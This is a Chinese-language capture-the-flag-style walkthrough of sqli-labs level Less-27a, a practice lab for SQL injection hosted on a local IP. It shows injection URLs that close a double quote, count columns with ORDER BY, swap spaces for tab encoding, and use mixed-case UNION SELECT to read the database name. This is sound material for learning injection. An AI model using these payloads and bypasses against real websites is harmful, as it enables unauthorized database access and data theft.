SQL注入分析-Less-27a

SQL注入分析-Less-27a

1、 概述：此关的名称GET-Blind Based-All your UNION & SELECT Belong to us-Double Quotes，中文名称是基于GET型的盲注—构造你自己的union和select—双引号注入，从题目名称来看，推测这关是盲注，无法通过报错信息来获取所需要的数据，要通过技巧绕过UNION和SELECT查询语句，而且拼接过程中需要使用双引号进行闭合。

2、根据猜想，按照提示输入：

http://192.168.88.129/sqli-labs-master/Less-27a/?id=1

结果如下：

按照猜想，输入双引号试试：

http://192.168.88.129/sqli-labs-master/Less-27a/?id=1"

这里没有正常回显，可能是对双引号敏感，对单引号不敏感，接下来输入单引号试试：

http://192.168.88.129/sqli-labs-master/Less-27a/?id=1’

猜想基本成立。

3、 使用order by判断下表的列数：

http://192.168.88.129/sqli-labs-master/Less-27a/?id=1"%09order%09by%091,2,3,"4

结果如下：

正常回显，继续：

http://192.168.88.129/sqli-labs-master/Less-27a/?id=1"%09order%09by%091,2,3,4,"5

结果如下：

没有正常回显，列数为3，继续用union报回显位：

http://192.168.88.129/sqli-labs-master/Less-27a/?id=0"%09UnIon%09SeLect%091,2,"3

结果如下，成功在用户名和密码字段进行了回显。

将2换成database()试试报库名。

成功，下同。